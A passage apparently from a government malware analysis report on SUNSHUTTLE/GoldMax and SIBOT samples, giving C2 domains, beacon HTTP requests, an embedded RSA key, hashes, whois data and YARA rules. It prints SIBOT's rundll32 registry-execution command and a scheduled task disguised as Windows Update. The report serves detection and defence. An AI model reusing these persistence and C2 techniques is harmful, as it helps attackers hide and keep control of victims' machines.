Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
--End request--

--Begin request--
GET /css/bootstrap.css HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
--End request--

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA OAEP encrypted session key received from its C2:

--BEGIN PRIVATE KEY--
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
--END PRIVATE KEY--

reyweb.com

Tags

command-and-control

URLs

• reyweb.com/assets/index.php
• reyweb.com/css/bootstrap.css
• reyweb.com/css/style.css
• reyweb.com/icon.ico
• reyweb.com/icon.png
• reyweb.com/script.js
• reyweb.com/scripts/bootstrap.js
• reyweb.com/scripts/jquery.js
• reyweb.com/style.css

HTTP Sessions

• GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
  Referer: www[.]yahoo.com
  Accept-Encoding: gzip
• GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=f27616f33730acfea04a05e53081d1ec; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
  Referer: www[.]facebook.com
  Accept-Encoding: gzip

Whois

Domain Name: REYWEB.COM
Registry Domain ID: 1620703932_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2020-04-30T08:57:06Z
Creation Date: 2010-10-16T18:54:19Z
Registry Expiry Date: 2021-10-16T18:54:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.CP-19.WEBHOSTBOX.NET
Name Server: NS2.CP-19.WEBHOSTBOX.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2021-03-04T17:32:23Z <

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Description

"Lexicon.exe" (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8) attempts to connect to this domain.

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def

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trojan

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware.

On execution, the behavior is nearly identical to bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec). It produced the same number of events, with only slight variation in order of file names. It is likely another iteration of this sample.

Upon execution, drops file “config.data.tmp” in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “nikeoutletinc.org” using TLSv1.3 to create a secure connection with C2. config.data.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

File is packed with UPX. Displayed below is a string of interest:

--Begin string of interest--
Go build ID: "yytqyhV7XNSuSZRXAADu/FzAnsR7anW_XvSXcBCS2/4f91rfQD47Q6E02u8kC8/_t-YMsh7fECr1GVsP3F7x"
hxxps[:]//cdn.bootstrap.com/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on network
--End string of interest--

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Tags

backdoortrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = "CISA Trusted Third Party"
         Incident = "10327841.r1.v1"
         Date = "2021-03-04"
         Actor = "n/a"
         Category = "Trojan"
         Family = "SOLARFLARE"
         Description = "Detects strings in WindowsDSVC_exe samples"
         MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
         SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
     strings:
         $Go_Lang = "Go build ID:"
         $main_func = "main.main"
         $main_encrypt = "main.encrypt"
         $main_MD5 = "main.GetMD5Hash"
         $main_beacon = "main.beaconing"
         $main_command = "main.resolve_command"
         $main_key1 = "main.request_session_key"
         $main_key2 = "main.retrieve_session_key"
         $main_clean = "main.clean_file"
         $main_wget = "main.wget_file"
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "main.request_session_key"
         $s2 = "main.define_internal_settings"
         $s3 = "main.send_file_part"
         $s4 = "main.clean_file"
         $s5 = "main.send_command_result"
         $s6 = "main.retrieve_session_key"
         $s7 = "main.save_internal_settings"
         $s8 = "main.resolve_command"
         $s9 = "main.write_file"
         $s10 = "main.beaconing"
         $s11 = "main.wget_file"
         $s12 = "main.fileExists"
         $s13 = "main.removeBase64Padding"
         $s14 = "main.addBase64Padding"
         $s15 = "main.delete_empty"
         $s16 = "main.GetMD5Hash"
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = "FireEye"
         Date = "2021-03-04"
         Last_Modified = "20210305_1704"
         Actor = "UNC2452"
         Category = "Backdoor"
         Family = "SUNSHUTTLE"
         Description = "This rule detects strings found in SUNSHUTTLE"
         MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
         SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
     strings:
         $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
         $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
         $s3 = "Go build ID: \""
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

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Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. It is unique in that it does not appear to be packed, unlike other GoldMax samples, which were packed with UPX. It was observed beginning to beacon after remediation efforts began on the compromised network.

Upon execution, drops file “runlog.dat.tmp” (bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df) in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “megatoolkit.com” using TLSv1.3 to create a secure connection with C2. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

megatoolkit.com

Tags

command-and-control

URLs

• megatoolkit.com/catalog/
• megatoolkit.com/icon.ico
• megatoolkit.com/icon.pngi19TotqC9iD8Y0B7jcGnpp5hYcyjg4cL

Whois

Domain Name: megatoolkit.com
Registry Domain ID: 2344043124_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com/
Updated Date: 2020-12-16T07:00:00Z
Creation Date: 2018-12-17T07:00:00Z
Registrar Registration Expiration Date: 2022-12-17T07:00:00Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Domain Administrator
Registrant Organization: See PrivacyGuardian.org
Registrant Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Registrant City: Phoenix
Registrant State/Province: AZ
Registrant Postal Code: 85016
Registrant Country: US
Registrant Phone: +1.3478717726
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Admin ID:
Admin Name: Domain Administrator
Admin Organization: See PrivacyGuardian.org
Admin Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Admin City: Phoenix
Admin State/Province: AZ
Admin Postal Code: 85016
Admin Country: US
Admin Phone: +1.3478717726
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Tech ID:
Tech Name: Domain Administrator
Tech Organization: See PrivacyGuardian.org
Tech Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Tech City: Phoenix
Tech State/Province: AZ
Tech Postal Code: 85016
Tech Country: US
Tech Phone: +1.3478717726
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

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bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec) attempts to connect to this domain.

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df

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Description

This file is a text file that was dropped by bootcats.exe. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb

Tags

botdownloaderloadertrojan

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Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to install an obfuscated second stage VBScript into the Windows registry keys below:

--Begin registry keys--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\sibot"
ValueName = "(Default)"
Data =    "obfuscated second stage VBScript"
--End registry keys--

The embedded VBScript is executed by "rundll32registry_schtaskdaily.vbs (acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66).

"Final_vbscript.vbs" (a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f) is the de-obfuscated VBScript.

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acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66

Tags

bottrojan

Details

Antivirus

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Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to create a schedule task service that uses Microsoft HTML Application (MSHTA) to execute the obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) from the Windows registry key: "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot."

Displayed below is the schedule task service information:

--Begin schedule task--
Name: "WindowsUpdate"    
Description: "This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c"
Arguments: "vbscript:\"\\..\\mshtml,RunHTMLApplication \"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\"))(window.close)"
Path: rundll32
--End schedule task--

It runs the command below daily:

--Begin command--
"rundll32 vbscript:\"\\..\\mshtml,RunHTMLApplication \"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\"))(window.close)"
--End command--

Displayed below is the content of the script daily scheduled task Extensible Markup Language (XML) created at the time of analysis:

--Begin scheduled task XML--
<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n
<Task version=\"1.2\"
   xmlns=\"hxxp[:]//schemas.microsoft.com/windows/2004/02/mit/task\">\r\n
   <RegistrationInfo>\r\n    
       <Description>This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c</Description>\r\n
   </RegistrationInfo>\r\n
   <Triggers>\r\n    
       <CalendarTrigger id=\"DailyTriggerId\">\r\n    
           <StartBoundary>2021-03-12T18:27:56</StartBoundary>\r\n    
           <ExecutionTimeLimit>PT10M</ExecutionTimeLimit>\r\n    
           <Enabled>true</Enabled>\r\n    
           <ScheduleByDay>\r\n        
               <DaysInterval>1</DaysInterval>\r\n    
           </ScheduleByDay>\r\n    
       </CalendarTrigger>\r\n
   </Triggers>\r\n
   <Principals>\r\n    
       <Principal>\r\n    
           <RunLevel>HighestAvailable</RunLevel>\r\n    
       </Principal>\r\n
   </Principals>\r\n
   <Settings>\r\n    
       <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\r\n    
       <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\r\n    
       <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>\r\n    
       <AllowHardTerminate>true</AllowHardTerminate>\r\n    
       <StartWhenAvailable>true</StartWhenAvailable>\r\n    
       <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    
       <IdleSettings>\r\n    
           <Duration>PT10M</Duration>\r\n    
           <WaitTimeout>PT1H</WaitTimeout>\r\n    
           <StopOnIdleEnd>true</StopOnIdleEnd>\r\n    
           <RestartOnIdle>false</RestartOnIdle>\r\n    
       </IdleSettings>\r\n    
       <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    
       <Enabled>true</Enabled>\r\n    
       <Hidden>true</Hidden>\r\n    
       <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    
       <WakeToRun>false</WakeToRun>\r\n    
       <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\r\n    
       <Priority>7</Priority>\r\n
   </Settings>\r\n
   <Actions>\r\n    
       <Exec>\r\n    
           <Command>rundll32</Command>\r\n    
           <Arguments>vbscript:\"\\..\\mshtml,RunHTMLApplication \"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\"))(window.close)</Arguments>\r\n    
       </Exec>\r\n
   </Actions>\r\n
</Task>"
--End scheduled task XML--

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